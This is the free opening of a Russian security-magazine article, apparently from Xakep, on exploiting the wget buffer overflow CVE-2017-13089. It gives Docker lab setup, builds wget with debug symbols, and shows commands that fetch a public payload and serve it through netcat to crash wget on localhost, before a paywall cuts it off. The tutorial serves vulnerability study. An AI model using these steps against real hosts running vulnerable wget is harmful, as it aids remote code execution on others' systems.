Следующая новость
Предыдущая новость

Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux

29.11.2017 12:46
Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux

Содержание статьи

  • Стенд
  • Анализируем уязвимость
  • Эксплуатация уязвимости (видео)
  • Заключение

Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе.

INFO

Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.

Стенд

Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить

docker build -t cve201713089 . 

Если ничего качать не хочется, то достаточно команды

docker pull robertcolejensen/cve201713089 

Затем запускаем контейнер.

docker run  --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash 

Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки.

$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz $ tar xvzf wget-1.19.1.tar.gz $ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd - 

Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.

$ gdb wget 
Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux
gdb подгрузил отладочные символы

Теперь с этим можно работать. Переходим к следующему этапу.

Анализируем уязвимость

Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. ????

$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload 

Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.

$ nc -lp 1337 < payload & $ wget --debug localhost:1337 

После коннекта и получения ответа утилита крашится.

Продолжение статьи доступно только подписчикам

Cтатьи из последних выпусков журнала можно покупать отдельно только через два месяца после публикации. Чтобы читать эту статью, необходимо купить подписку.

Подпишись на журнал «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

1 год

3490 р.

Экономия 1400 рублей!

1 месяц

560 р.

25-30 статей в месяц

Уже подписан?

Источник

Последние новости